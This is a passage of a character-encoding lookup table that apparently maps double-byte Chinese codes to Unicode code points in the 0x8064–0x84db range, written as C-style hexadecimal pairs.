{0x8ac2,0x8064},{0x8bc2,0x8065},{0x8cc2,0x8066},{0x8dc2,0x8067},{0x8ec2,0x8068},
{0xf9f1,0x8069},{0xcfb4,0x806a},{0x8fc2,0x806b},{0x90c2,0x806c},{0x91c2,0x806d},
{0x92c2,0x806e},{0x93c2,0x806f},{0x94c2,0x8070},{0xfaf1,0x8071},{0x95c2,0x8072},
{0x96c2,0x8073},{0x97c2,0x8074},{0x98c2,0x8075},{0x99c2,0x8076},{0x9ac2,0x8077},
{0x9bc2,0x8078},{0x9cc2,0x8079},{0x9dc2,0x807a},{0x9ec2,0x807b},{0x9fc2,0x807c},
{0xa0c2,0x807d},{0x40c3,0x807e},{0xb2ed,0x807f},{0xb1ed,0x8080},{0x41c3,0x8081},
{0x42c3,0x8082},{0xe0cb,0x8083},{0xded2,0x8084},{0x43c3,0x8085},{0xc1cb,0x8086},
{0xd8d5,0x8087},{0x44c3,0x8088},{0xe2c8,0x8089},{0x45c3,0x808a},{0xdfc0,0x808b},
{0xa1bc,0x808c},{0x46c3,0x808d},{0x47c3,0x808e},{0x48c3,0x808f},{0x49c3,0x8090},
{0x4ac3,0x8091},{0x4bc3,0x8092},{0xc1eb,0x8093},{0x4cc3,0x8094},{0x4dc3,0x8095},
{0xa4d0,0x8096},{0x4ec3,0x8097},{0xe2d6,0x8098},{0x4fc3,0x8099},{0xc7b6,0x809a},
{0xd8b8,0x809b},{0xc0eb,0x809c},{0xceb8,0x809d},{0x50c3,0x809e},{0xbfeb,0x809f},
{0xa6b3,0x80a0},{0xc9b9,0x80a1},{0xabd6,0x80a2},{0x51c3,0x80a3},{0xf4b7,0x80a4},
{0xcab7,0x80a5},{0x52c3,0x80a6},{0x53c3,0x80a7},{0x54c3,0x80a8},{0xe7bc,0x80a9},
{0xbeb7,0x80aa},{0xc6eb,0x80ab},{0x55c3,0x80ac},{0xc7eb,0x80ad},{0xb9b0,0x80ae},
{0xcfbf,0x80af},{0x56c3,0x80b0},{0xc5eb,0x80b1},{0xfdd3,0x80b2},{0x57c3,0x80b3},
{0xc8eb,0x80b4},{0x58c3,0x80b5},{0x59c3,0x80b6},{0xc9eb,0x80b7},{0x5ac3,0x80b8},
{0x5bc3,0x80b9},{0xceb7,0x80ba},{0x5cc3,0x80bb},{0xc2eb,0x80bc},{0xc4eb,0x80bd},
{0xf6c9,0x80be},{0xd7d6,0x80bf},{0xcdd5,0x80c0},{0xb2d0,0x80c1},{0xcfeb,0x80c2},
{0xb8ce,0x80c3},{0xd0eb,0x80c4},{0x5dc3,0x80c5},{0xa8b5,0x80c6},{0x5ec3,0x80c7},
{0x5fc3,0x80c8},{0x60c3,0x80c9},{0x61c3,0x80ca},{0x62c3,0x80cb},{0xb3b1,0x80cc},
{0xd2eb,0x80cd},{0xa5cc,0x80ce},{0x63c3,0x80cf},{0x64c3,0x80d0},{0x65c3,0x80d1},
{0x66c3,0x80d2},{0x67c3,0x80d3},{0x68c3,0x80d4},{0x69c3,0x80d5},{0xd6c5,0x80d6},
{0xd3eb,0x80d7},{0x6ac3,0x80d8},{0xd1eb,0x80d9},{0xdfc5,0x80da},{0xceeb,0x80db},
{0xa4ca,0x80dc},{0xd5eb,0x80dd},{0xfbb0,0x80de},{0x6bc3,0x80df},{0x6cc3,0x80e0},
{0xfaba,0x80e1},{0x6dc3,0x80e2},{0x6ec3,0x80e3},{0xb7d8,0x80e4},{0xe3f1,0x80e5},
{0x6fc3,0x80e6},{0xcaeb,0x80e7},{0xcbeb,0x80e8},{0xcceb,0x80e9},{0xcdeb,0x80ea},
{0xd6eb,0x80eb},{0xc0e6,0x80ec},{0xd9eb,0x80ed},{0x70c3,0x80ee},{0xe8bf,0x80ef},
{0xc8d2,0x80f0},{0xd7eb,0x80f1},{0xdceb,0x80f2},{0xecb8,0x80f3},{0xd8eb,0x80f4},
{0x71c3,0x80f5},{0xbabd,0x80f6},{0x72c3,0x80f7},{0xd8d0,0x80f8},{0x73c3,0x80f9},
{0xb7b0,0x80fa},{0x74c3,0x80fb},{0xddeb,0x80fc},{0xdcc4,0x80fd},{0x75c3,0x80fe},
{0x77c3,0x8100},{0x78c3,0x8101},{0xacd6,0x8102},{0x79c3,0x8103},{0x7ac3,0x8104},
{0x7bc3,0x8105},{0xe0b4,0x8106},{0x7cc3,0x8107},{0x7dc3,0x8108},{0xf6c2,0x8109},
{0xb9bc,0x810a},{0x7ec3,0x810b},{0x80c3,0x810c},{0xdaeb,0x810d},{0xdbeb,0x810e},
{0xe0d4,0x810f},{0xeac6,0x8110},{0xd4c4,0x8111},{0xdfeb,0x8112},{0xa7c5,0x8113},
{0xf5d9,0x8114},{0x81c3,0x8115},{0xb1b2,0x8116},{0x82c3,0x8117},{0xe4eb,0x8118},
{0x83c3,0x8119},{0xc5bd,0x811a},{0x84c3,0x811b},{0x85c3,0x811c},{0x86c3,0x811d},
{0xe2eb,0x811e},{0x87c3,0x811f},{0x88c3,0x8120},{0x89c3,0x8121},{0x8ac3,0x8122},
{0x8bc3,0x8123},{0x8cc3,0x8124},{0x8dc3,0x8125},{0x8ec3,0x8126},{0x8fc3,0x8127},
{0x90c3,0x8128},{0x91c3,0x8129},{0x92c3,0x812a},{0x93c3,0x812b},{0xe3eb,0x812c},
{0x94c3,0x812d},{0x95c3,0x812e},{0xacb8,0x812f},{0x96c3,0x8130},{0xd1cd,0x8131},
{0xe5eb,0x8132},{0x97c3,0x8133},{0x98c3,0x8134},{0x99c3,0x8135},{0xe1eb,0x8136},
{0x9ac3,0x8137},{0xb3c1,0x8138},{0x9bc3,0x8139},{0x9cc3,0x813a},{0x9dc3,0x813b},
{0x9ec3,0x813c},{0x9fc3,0x813d},{0xa2c6,0x813e},{0xa0c3,0x813f},{0x40c4,0x8140},
{0x41c4,0x8141},{0x42c4,0x8142},{0x43c4,0x8143},{0x44c4,0x8144},{0x45c4,0x8145},
{0xf3cc,0x8146},{0x46c4,0x8147},{0xe6eb,0x8148},{0x47c4,0x8149},{0xb0c0,0x814a},
{0xb8d2,0x814b},{0xe7eb,0x814c},{0x48c4,0x814d},{0x49c4,0x814e},{0x4ac4,0x814f},
{0xafb8,0x8150},{0xadb8,0x8151},{0x4bc4,0x8152},{0xe8eb,0x8153},{0xbbc7,0x8154},
{0xf3cd,0x8155},{0x4cc4,0x8156},{0x4dc4,0x8157},{0x4ec4,0x8158},{0xeaeb,0x8159},
{0xebeb,0x815a},{0x4fc4,0x815b},{0x50c4,0x815c},{0x51c4,0x815d},{0x52c4,0x815e},
{0x53c4,0x815f},{0xedeb,0x8160},{0x54c4,0x8161},{0x55c4,0x8162},{0x56c4,0x8163},
{0x57c4,0x8164},{0xc8d0,0x8165},{0x58c4,0x8166},{0xf2eb,0x8167},{0x59c4,0x8168},
{0xeeeb,0x8169},{0x5ac4,0x816a},{0x5bc4,0x816b},{0x5cc4,0x816c},{0xf1eb,0x816d},
{0xf9c8,0x816e},{0x5dc4,0x816f},{0xfcd1,0x8170},{0xeceb,0x8171},{0x5ec4,0x8172},
{0x5fc4,0x8173},{0xe9eb,0x8174},{0x60c4,0x8175},{0x61c4,0x8176},{0x62c4,0x8177},
{0x63c4,0x8178},{0xb9b8,0x8179},{0xd9cf,0x817a},{0xe5c4,0x817b},{0xefeb,0x817c},
{0xf0eb,0x817d},{0xdacc,0x817e},{0xc8cd,0x817f},{0xf2b0,0x8180},{0x64c4,0x8181},
{0xf6eb,0x8182},{0x65c4,0x8183},{0x66c4,0x8184},{0x67c4,0x8185},{0x68c4,0x8186},
{0x69c4,0x8187},{0xf5eb,0x8188},{0x6ac4,0x8189},{0xb2b2,0x818a},{0x6bc4,0x818b},
{0x6cc4,0x818c},{0x6dc4,0x818d},{0x6ec4,0x818e},{0xe0b8,0x818f},{0x6fc4,0x8190},
{0xf7eb,0x8191},{0x70c4,0x8192},{0x71c4,0x8193},{0x72c4,0x8194},{0x73c4,0x8195},
{0x74c4,0x8196},{0x75c4,0x8197},{0xecb1,0x8198},{0x76c4,0x8199},{0x77c4,0x819a},
{0xc5cc,0x819b},{0xa4c4,0x819c},{0xa5cf,0x819d},{0x78c4,0x819e},{0x79c4,0x819f},
{0x7ac4,0x81a0},{0x7bc4,0x81a1},{0x7cc4,0x81a2},{0xf9eb,0x81a3},{0x7dc4,0x81a4},
{0x7ec4,0x81a5},{0xa2ec,0x81a6},{0x80c4,0x81a7},{0xf2c5,0x81a8},{0x81c4,0x81a9},
{0xfaeb,0x81aa},{0x82c4,0x81ab},{0x83c4,0x81ac},{0x84c4,0x81ad},{0x85c4,0x81ae},
{0x86c4,0x81af},{0x87c4,0x81b0},{0x88c4,0x81b1},{0x89c4,0x81b2},{0xc5c9,0x81b3},
{0x8ac4,0x81b4},{0x8bc4,0x81b5},{0x8cc4,0x81b6},{0x8dc4,0x81b7},{0x8ec4,0x81b8},
{0x8fc4,0x81b9},{0xdfe2,0x81ba},{0xfeeb,0x81bb},{0x90c4,0x81bc},{0x91c4,0x81bd},
{0x92c4,0x81be},{0x93c4,0x81bf},{0xcecd,0x81c0},{0xa1ec,0x81c1},{0xdbb1,0x81c2},
{0xb7d3,0x81c3},{0x94c4,0x81c4},{0x95c4,0x81c5},{0xdcd2,0x81c6},{0x96c4,0x81c7},
{0x97c4,0x81c8},{0x98c4,0x81c9},{0xfdeb,0x81ca},{0x99c4,0x81cb},{0xfbeb,0x81cc},
{0x9ac4,0x81cd},{0x9bc4,0x81ce},{0x9cc4,0x81cf},{0x9dc4,0x81d0},{0x9ec4,0x81d1},
{0x9fc4,0x81d2},{0xa0c4,0x81d3},{0x40c5,0x81d4},{0x41c5,0x81d5},{0x42c5,0x81d6},
{0x43c5,0x81d7},{0x44c5,0x81d8},{0x45c5,0x81d9},{0x46c5,0x81da},{0x47c5,0x81db},
{0x48c5,0x81dc},{0x49c5,0x81dd},{0x4ac5,0x81de},{0x4bc5,0x81df},{0x4cc5,0x81e0},
{0x4dc5,0x81e1},{0x4ec5,0x81e2},{0xbcb3,0x81e3},{0x4fc5,0x81e4},{0x50c5,0x81e5},
{0x51c5,0x81e6},{0xb0ea,0x81e7},{0x52c5,0x81e8},{0x53c5,0x81e9},{0xd4d7,0x81ea},
{0x54c5,0x81eb},{0xabf4,0x81ec},{0xf4b3,0x81ed},{0x55c5,0x81ee},{0x56c5,0x81ef},
{0x57c5,0x81f0},{0x58c5,0x81f1},{0x59c5,0x81f2},{0xc1d6,0x81f3},{0xc2d6,0x81f4},
{0x5ac5,0x81f5},{0x5bc5,0x81f6},{0x5cc5,0x81f7},{0x5dc5,0x81f8},{0x5ec5,0x81f9},
{0x5fc5,0x81fa},{0xe9d5,0x81fb},{0xcabe,0x81fc},{0x60c5,0x81fd},{0xa7f4,0x81fe},
{0xa8d2,0x8200},{0xa8f4,0x8201},{0xa9f4,0x8202},{0x62c5,0x8203},{0xaaf4,0x8204},
{0xcbbe,0x8205},{0xdfd3,0x8206},{0x63c5,0x8207},{0x64c5,0x8208},{0x65c5,0x8209},
{0x66c5,0x820a},{0x67c5,0x820b},{0xe0c9,0x820c},{0xe1c9,0x820d},{0x68c5,0x820e},
{0x69c5,0x820f},{0xc2f3,0x8210},{0x6ac5,0x8211},{0xe6ca,0x8212},{0x6bc5,0x8213},
{0xf2cc,0x8214},{0x6cc5,0x8215},{0x6dc5,0x8216},{0x6ec5,0x8217},{0x6fc5,0x8218},
{0x70c5,0x8219},{0x71c5,0x821a},{0xb6e2,0x821b},{0xb4cb,0x821c},{0x72c5,0x821d},
{0xe8ce,0x821e},{0xdbd6,0x821f},{0x73c5,0x8220},{0xadf4,0x8221},{0xaef4,0x8222},
{0xaff4,0x8223},{0x74c5,0x8224},{0x75c5,0x8225},{0x76c5,0x8226},{0x77c5,0x8227},
{0xb2f4,0x8228},{0x78c5,0x8229},{0xbdba,0x822a},{0xb3f4,0x822b},{0xe3b0,0x822c},
{0xb0f4,0x822d},{0x79c5,0x822e},{0xb1f4,0x822f},{0xa2bd,0x8230},{0xd5b2,0x8231},
{0x7ac5,0x8232},{0xb6f4,0x8233},{0xb7f4,0x8234},{0xe6b6,0x8235},{0xb0b2,0x8236},
{0xcfcf,0x8237},{0xb4f4,0x8238},{0xacb4,0x8239},{0x7bc5,0x823a},{0xb5f4,0x823b},
{0x7cc5,0x823c},{0x7dc5,0x823d},{0xb8f4,0x823e},{0x7ec5,0x823f},{0x80c5,0x8240},
{0x81c5,0x8241},{0x82c5,0x8242},{0x83c5,0x8243},{0xb9f4,0x8244},{0x84c5,0x8245},
{0x85c5,0x8246},{0xa7cd,0x8247},{0x86c5,0x8248},{0xbaf4,0x8249},{0x87c5,0x824a},
{0xbbf4,0x824b},{0x88c5,0x824c},{0x89c5,0x824d},{0x8ac5,0x824e},{0xbcf4,0x824f},
{0x8bc5,0x8250},{0x8cc5,0x8251},{0x8dc5,0x8252},{0x8ec5,0x8253},{0x8fc5,0x8254},
{0x90c5,0x8255},{0x91c5,0x8256},{0x92c5,0x8257},{0xd2cb,0x8258},{0x93c5,0x8259},
{0xbdf4,0x825a},{0x94c5,0x825b},{0x95c5,0x825c},{0x96c5,0x825d},{0x97c5,0x825e},
{0xbef4,0x825f},{0x98c5,0x8260},{0x99c5,0x8261},{0x9ac5,0x8262},{0x9bc5,0x8263},
{0x9cc5,0x8264},{0x9dc5,0x8265},{0x9ec5,0x8266},{0x9fc5,0x8267},{0xbff4,0x8268},
{0xa0c5,0x8269},{0x40c6,0x826a},{0x41c6,0x826b},{0x42c6,0x826c},{0x43c6,0x826d},
{0xdef4,0x826e},{0xbcc1,0x826f},{0xe8bc,0x8270},{0x44c6,0x8271},{0xabc9,0x8272},
{0xded1,0x8273},{0xf5e5,0x8274},{0x45c6,0x8275},{0x46c6,0x8276},{0x47c6,0x8277},
{0x48c6,0x8278},{0xb3dc,0x8279},{0xd5d2,0x827a},{0x49c6,0x827b},{0x4ac6,0x827c},
{0xb4dc,0x827d},{0xacb0,0x827e},{0xb5dc,0x827f},{0x4bc6,0x8280},{0x4cc6,0x8281},
{0xdabd,0x8282},{0x4dc6,0x8283},{0xb9dc,0x8284},{0x4ec6,0x8285},{0x4fc6,0x8286},
{0x50c6,0x8287},{0xc2d8,0x8288},{0x51c6,0x8289},{0xb7dc,0x828a},{0xf3d3,0x828b},
{0x52c6,0x828c},{0xd6c9,0x828d},{0xbadc,0x828e},{0xb6dc,0x828f},{0x53c6,0x8290},
{0xbbdc,0x8291},{0xa2c3,0x8292},{0x54c6,0x8293},{0x55c6,0x8294},{0x56c6,0x8295},
{0x57c6,0x8296},{0xbcdc,0x8297},{0xc5dc,0x8298},{0xbddc,0x8299},{0x58c6,0x829a},
{0x59c6,0x829b},{0xdfce,0x829c},{0xa5d6,0x829d},{0x5ac6,0x829e},{0xcfdc,0x829f},
{0x5bc6,0x82a0},{0xcddc,0x82a1},{0x5cc6,0x82a2},{0x5dc6,0x82a3},{0xd2dc,0x82a4},
{0xe6bd,0x82a5},{0xabc2,0x82a6},{0x5ec6,0x82a7},{0xb8dc,0x82a8},{0xcbdc,0x82a9},
{0xcedc,0x82aa},{0xbedc,0x82ab},{0xd2b7,0x82ac},{0xc5b0,0x82ad},{0xc7dc,0x82ae},
{0xbed0,0x82af},{0xc1dc,0x82b0},{0xa8bb,0x82b1},{0x5fc6,0x82b2},{0xbcb7,0x82b3},
{0xccdc,0x82b4},{0x60c6,0x82b5},{0x61c6,0x82b6},{0xc6dc,0x82b7},{0xbfdc,0x82b8},
{0xdbc7,0x82b9},{0x62c6,0x82ba},{0x63c6,0x82bb},{0x64c6,0x82bc},{0xbfd1,0x82bd},
{0xc0dc,0x82be},{0x65c6,0x82bf},{0x66c6,0x82c0},{0xcadc,0x82c1},{0x67c6,0x82c2},
{0x68c6,0x82c3},{0xd0dc,0x82c4},{0x69c6,0x82c5},{0x6ac6,0x82c6},{0xadce,0x82c7},
{0xc2dc,0x82c8},{0x6bc6,0x82c9},{0xc3dc,0x82ca},{0xc8dc,0x82cb},{0xc9dc,0x82cc},
{0xd4b2,0x82cd},{0xd1dc,0x82ce},{0xd5cb,0x82cf},{0x6cc6,0x82d0},{0xb7d4,0x82d1},
{0xdbdc,0x82d2},{0xdfdc,0x82d3},{0xa6cc,0x82d4},{0xe6dc,0x82d5},{0x6dc6,0x82d6},
{0xe7c3,0x82d7},{0xdcdc,0x82d8},{0x6ec6,0x82d9},{0x6fc6,0x82da},{0xc1bf,0x82db},
{0xd9dc,0x82dc},{0x70c6,0x82dd},{0xfab0,0x82de},{0xb6b9,0x82df},{0xe5dc,0x82e0},
{0xd3dc,0x82e1},{0x71c6,0x82e2},{0xc4dc,0x82e3},{0xd6dc,0x82e4},{0xf4c8,0x82e5},
{0xe0bf,0x82e6},{0x72c6,0x82e7},{0x73c6,0x82e8},{0x74c6,0x82e9},{0x75c6,0x82ea},
{0xbbc9,0x82eb},{0x76c6,0x82ec},{0x77c6,0x82ed},{0x78c6,0x82ee},{0xbdb1,0x82ef},
{0x79c6,0x82f0},{0xa2d3,0x82f1},{0x7ac6,0x82f2},{0x7bc6,0x82f3},{0xdadc,0x82f4},
{0x7cc6,0x82f5},{0x7dc6,0x82f6},{0xd5dc,0x82f7},{0x7ec6,0x82f8},{0xbbc6,0x82f9},
{0x80c6,0x82fa},{0xdedc,0x82fb},{0x81c6,0x82fc},{0x82c6,0x82fd},{0x83c6,0x82fe},
{0x85c6,0x8300},{0xc2d7,0x8301},{0xafc3,0x8302},{0xb6b7,0x8303},{0xd1c7,0x8304},
{0xa9c3,0x8305},{0xe2dc,0x8306},{0xd8dc,0x8307},{0xebdc,0x8308},{0xd4dc,0x8309},
{0x86c6,0x830a},{0x87c6,0x830b},{0xdddc,0x830c},{0x88c6,0x830d},{0xa5be,0x830e},
{0xd7dc,0x830f},{0x89c6,0x8310},{0xe0dc,0x8311},{0x8ac6,0x8312},{0x8bc6,0x8313},
{0xe3dc,0x8314},{0xe4dc,0x8315},{0x8cc6,0x8316},{0xf8dc,0x8317},{0x8dc6,0x8318},
{0x8ec6,0x8319},{0xe1dc,0x831a},{0xa2dd,0x831b},{0xe7dc,0x831c},{0x8fc6,0x831d},
{0x90c6,0x831e},{0x91c6,0x831f},{0x92c6,0x8320},{0x93c6,0x8321},{0x94c6,0x8322},
{0x95c6,0x8323},{0x96c6,0x8324},{0x97c6,0x8325},{0x98c6,0x8326},{0xebbc,0x8327},
{0xc4b4,0x8328},{0x99c6,0x8329},{0x9ac6,0x832a},{0xa3c3,0x832b},{0xe7b2,0x832c},
{0xfadc,0x832d},{0x9bc6,0x832e},{0xf2dc,0x832f},{0x9cc6,0x8330},{0xefdc,0x8331},
{0x9dc6,0x8332},{0xfcdc,0x8333},{0xeedc,0x8334},{0xf0d2,0x8335},{0xe8b2,0x8336},
{0x9ec6,0x8337},{0xd7c8,0x8338},{0xe3c8,0x8339},{0xfbdc,0x833a},{0x9fc6,0x833b},
{0xeddc,0x833c},{0xa0c6,0x833d},{0x40c7,0x833e},{0x41c7,0x833f},{0xf7dc,0x8340},
{0x42c7,0x8341},{0x43c7,0x8342},{0xf5dc,0x8343},{0x44c7,0x8344},{0x45c7,0x8345},
{0xa3be,0x8346},{0xf4dc,0x8347},{0x46c7,0x8348},{0xddb2,0x8349},{0x47c7,0x834a},
{0x48c7,0x834b},{0x49c7,0x834c},{0x4ac7,0x834d},{0x4bc7,0x834e},{0xf3dc,0x834f},
{0xf6bc,0x8350},{0xe8dc,0x8351},{0xc4bb,0x8352},{0x4cc7,0x8353},{0xf3c0,0x8354},
{0x4dc7,0x8355},{0x4ec7,0x8356},{0x4fc7,0x8357},{0x50c7,0x8358},{0x51c7,0x8359},
{0xd4bc,0x835a},{0xe9dc,0x835b},{0xeadc,0x835c},{0x52c7,0x835d},{0xf1dc,0x835e},
{0xf6dc,0x835f},{0xf9dc,0x8360},{0xb4b5,0x8361},{0x53c7,0x8362},{0xd9c8,0x8363},
{0xe7bb,0x8364},{0xfedc,0x8365},{0xfddc,0x8366},{0xabd3,0x8367},{0xa1dd,0x8368},
{0xa3dd,0x8369},{0xa5dd,0x836a},{0xf1d2,0x836b},{0xa4dd,0x836c},{0xa6dd,0x836d},
{0xa7dd,0x836e},{0xa9d2,0x836f},{0x54c7,0x8370},{0x55c7,0x8371},{0x56c7,0x8372},
{0x57c7,0x8373},{0x58c7,0x8374},{0x59c7,0x8375},{0x5ac7,0x8376},{0xc9ba,0x8377},
{0xa9dd,0x8378},{0x5bc7,0x8379},{0x5cc7,0x837a},{0xb6dd,0x837b},{0xb1dd,0x837c},
{0xb4dd,0x837d},{0x5dc7,0x837e},{0x5ec7,0x837f},{0x5fc7,0x8380},{0x60c7,0x8381},
{0x61c7,0x8382},{0x62c7,0x8383},{0x63c7,0x8384},{0xb0dd,0x8385},{0xcec6,0x8386},
{0x64c7,0x8387},{0x65c7,0x8388},{0xf2c0,0x8389},{0x66c7,0x838a},{0x67c7,0x838b},
{0x68c7,0x838c},{0x69c7,0x838d},{0xafc9,0x838e},{0x6ac7,0x838f},{0x6bc7,0x8390},
{0x6cc7,0x8391},{0xecdc,0x8392},{0xaedd,0x8393},{0x6dc7,0x8394},{0x6ec7,0x8395},
{0x6fc7,0x8396},{0x70c7,0x8397},{0xb7dd,0x8398},{0x71c7,0x8399},{0x72c7,0x839a},
{0xf0dc,0x839b},{0xafdd,0x839c},{0x73c7,0x839d},{0xb8dd,0x839e},{0x74c7,0x839f},
{0xacdd,0x83a0},{0x75c7,0x83a1},{0x76c7,0x83a2},{0x77c7,0x83a3},{0x78c7,0x83a4},
{0x79c7,0x83a5},{0x7ac7,0x83a6},{0x7bc7,0x83a7},{0xb9dd,0x83a8},{0xb3dd,0x83a9},
{0xaddd,0x83aa},{0xaac4,0x83ab},{0x7cc7,0x83ac},{0x7dc7,0x83ad},{0x7ec7,0x83ae},
{0x80c7,0x83af},{0xa8dd,0x83b0},{0xb3c0,0x83b1},{0xabc1,0x83b2},{0xaadd,0x83b3},
{0xabdd,0x83b4},{0x81c7,0x83b5},{0xb2dd,0x83b6},{0xf1bb,0x83b7},{0xb5dd,0x83b8},
{0xa8d3,0x83b9},{0xbadd,0x83ba},{0x82c7,0x83bb},{0xbbdd,0x83bc},{0xa7c3,0x83bd},
{0x83c7,0x83be},{0x84c7,0x83bf},{0xd2dd,0x83c0},{0xbcdd,0x83c1},{0x85c7,0x83c2},
{0x86c7,0x83c3},{0x87c7,0x83c4},{0xd1dd,0x83c5},{0x88c7,0x83c6},{0xbdb9,0x83c7},
{0x89c7,0x83c8},{0x8ac7,0x83c9},{0xd5be,0x83ca},{0x8bc7,0x83cb},{0xfabe,0x83cc},
{0x8cc7,0x83cd},{0x8dc7,0x83ce},{0xcaba,0x83cf},{0x8ec7,0x83d0},{0x8fc7,0x83d1},
{0x90c7,0x83d2},{0x91c7,0x83d3},{0xcadd,0x83d4},{0x92c7,0x83d5},{0xc5dd,0x83d6},
{0x93c7,0x83d7},{0xbfdd,0x83d8},{0x94c7,0x83d9},{0x95c7,0x83da},{0x96c7,0x83db},
{0xcbb2,0x83dc},{0xc3dd,0x83dd},{0x97c7,0x83de},{0xcbdd,0x83df},{0xa4b2,0x83e0},
{0xd5dd,0x83e1},{0x98c7,0x83e2},{0x99c7,0x83e3},{0x9ac7,0x83e4},{0xbedd,0x83e5},
{0x9bc7,0x83e6},{0x9cc7,0x83e7},{0x9dc7,0x83e8},{0xd0c6,0x83e9},{0xd0dd,0x83ea},
{0x9ec7,0x83eb},{0x9fc7,0x83ec},{0xa0c7,0x83ed},{0x40c8,0x83ee},{0x41c8,0x83ef},
{0xd4dd,0x83f0},{0xe2c1,0x83f1},{0xc6b7,0x83f2},{0x42c8,0x83f3},{0x43c8,0x83f4},
{0x44c8,0x83f5},{0x45c8,0x83f6},{0x46c8,0x83f7},{0xcedd,0x83f8},{0xcfdd,0x83f9},
{0x47c8,0x83fa},{0x48c8,0x83fb},{0x49c8,0x83fc},{0xc4dd,0x83fd},{0x4ac8,0x83fe},
{0x4cc8,0x8400},{0xbddd,0x8401},{0x4dc8,0x8402},{0xcddd,0x8403},{0xd1cc,0x8404},
{0x4ec8,0x8405},{0xc9dd,0x8406},{0x4fc8,0x8407},{0x50c8,0x8408},{0x51c8,0x8409},
{0x52c8,0x840a},{0xc2dd,0x840b},{0xc8c3,0x840c},{0xbcc6,0x840d},{0xaece,0x840e},
{0xccdd,0x840f},{0x53c8,0x8410},{0xc8dd,0x8411},{0x54c8,0x8412},{0x55c8,0x8413},
{0x56c8,0x8414},{0x57c8,0x8415},{0x58c8,0x8416},{0x59c8,0x8417},{0xc1dd,0x8418},
{0x5ac8,0x8419},{0x5bc8,0x841a},{0x5cc8,0x841b},{0xc6dd,0x841c},{0xdcc2,0x841d},
{0x5dc8,0x841e},{0x5ec8,0x841f},{0x5fc8,0x8420},{0x60c8,0x8421},{0x61c8,0x8422},
{0x62c8,0x8423},{0xa9d3,0x8424},{0xaad3,0x8425},{0xd3dd,0x8426},{0xf4cf,0x8427},
{0xf8c8,0x8428},{0x63c8,0x8429},{0x64c8,0x842a},{0x65c8,0x842b},{0x66c8,0x842c},
{0x67c8,0x842d},{0x68c8,0x842e},{0x69c8,0x842f},{0x6ac8,0x8430},{0xe6dd,0x8431},
{0x6bc8,0x8432},{0x6cc8,0x8433},{0x6dc8,0x8434},{0x6ec8,0x8435},{0x6fc8,0x8436},
{0x70c8,0x8437},{0xc7dd,0x8438},{0x71c8,0x8439},{0x72c8,0x843a},{0x73c8,0x843b},
{0xe0dd,0x843c},{0xe4c2,0x843d},{0x74c8,0x843e},{0x75c8,0x843f},{0x76c8,0x8440},
{0x77c8,0x8441},{0x78c8,0x8442},{0x79c8,0x8443},{0x7ac8,0x8444},{0x7bc8,0x8445},
{0xe1dd,0x8446},{0x7cc8,0x8447},{0x7dc8,0x8448},{0x7ec8,0x8449},{0x80c8,0x844a},
{0x81c8,0x844b},{0x82c8,0x844c},{0x83c8,0x844d},{0x84c8,0x844e},{0x85c8,0x844f},
{0x86c8,0x8450},{0xd7dd,0x8451},{0x87c8,0x8452},{0x88c8,0x8453},{0x89c8,0x8454},
{0x8ac8,0x8455},{0x8bc8,0x8456},{0xf8d6,0x8457},{0x8cc8,0x8458},{0xd9dd,0x8459},
{0xd8dd,0x845a},{0xf0b8,0x845b},{0xd6dd,0x845c},{0x8dc8,0x845d},{0x8ec8,0x845e},
{0x8fc8,0x845f},{0x90c8,0x8460},{0xcfc6,0x8461},{0x91c8,0x8462},{0xadb6,0x8463},
{0x92c8,0x8464},{0x93c8,0x8465},{0x94c8,0x8466},{0x95c8,0x8467},{0x96c8,0x8468},
{0xe2dd,0x8469},{0x97c8,0x846a},{0xf9ba,0x846b},{0xe1d4,0x846c},{0xe7dd,0x846d},
{0x98c8,0x846e},{0x99c8,0x846f},{0x9ac8,0x8470},{0xd0b4,0x8471},{0x9bc8,0x8472},
{0xdadd,0x8473},{0x9cc8,0x8474},{0xfbbf,0x8475},{0xe3dd,0x8476},{0x9dc8,0x8477},
{0xdfdd,0x8478},{0x9ec8,0x8479},{0xdddd,0x847a},{0x9fc8,0x847b},{0xa0c8,0x847c},
{0x40c9,0x847d},{0x41c9,0x847e},{0x42c9,0x847f},{0x43c9,0x8480},{0x44c9,0x8481},
{0xd9b5,0x8482},{0x45c9,0x8483},{0x46c9,0x8484},{0x47c9,0x8485},{0x48c9,0x8486},
{0xdbdd,0x8487},{0xdcdd,0x8488},{0xdedd,0x8489},{0x49c9,0x848a},{0xafbd,0x848b},
{0xe4dd,0x848c},{0x4ac9,0x848d},{0xe5dd,0x848e},{0x4bc9,0x848f},{0x4cc9,0x8490},
{0x4dc9,0x8491},{0x4ec9,0x8492},{0x4fc9,0x8493},{0x50c9,0x8494},{0x51c9,0x8495},
{0x52c9,0x8496},{0xf5dd,0x8497},{0x53c9,0x8498},{0xc9c3,0x8499},{0x54c9,0x849a},
{0x55c9,0x849b},{0xe2cb,0x849c},{0x56c9,0x849d},{0x57c9,0x849e},{0x58c9,0x849f},
{0x59c9,0x84a0},{0xf2dd,0x84a1},{0x5ac9,0x84a2},{0x5bc9,0x84a3},{0x5cc9,0x84a4},
{0x5dc9,0x84a5},{0x5ec9,0x84a6},{0x5fc9,0x84a7},{0x60c9,0x84a8},{0x61c9,0x84a9},
{0x62c9,0x84aa},{0x63c9,0x84ab},{0x64c9,0x84ac},{0x65c9,0x84ad},{0x66c9,0x84ae},
{0xe1d8,0x84af},{0x67c9,0x84b0},{0x68c9,0x84b1},{0xd1c6,0x84b2},{0x69c9,0x84b3},
{0xf4dd,0x84b4},{0x6ac9,0x84b5},{0x6bc9,0x84b6},{0x6cc9,0x84b7},{0xf4d5,0x84b8},
{0xf3dd,0x84b9},{0xf0dd,0x84ba},{0x6dc9,0x84bb},{0x6ec9,0x84bc},{0xecdd,0x84bd},
{0x6fc9,0x84be},{0xefdd,0x84bf},{0x70c9,0x84c0},{0xe8dd,0x84c1},{0x71c9,0x84c2},
{0x72c9,0x84c3},{0xeed0,0x84c4},{0x73c9,0x84c5},{0x74c9,0x84c6},{0x75c9,0x84c7},
{0x76c9,0x84c8},{0xd8c8,0x84c9},{0xeedd,0x84ca},{0x77c9,0x84cb},{0x78c9,0x84cc},
{0xe9dd,0x84cd},{0x79c9,0x84ce},{0x7ac9,0x84cf},{0xeadd,0x84d0},{0xf2cb,0x84d1},
{0x7bc9,0x84d2},{0xeddd,0x84d3},{0x7cc9,0x84d4},{0x7dc9,0x84d5},{0xcdb1,0x84d6},
{0x7ec9,0x84d7},{0x80c9,0x84d8},{0x81c9,0x84d9},{0x82c9,0x84da},{0x83c9,0x84db},
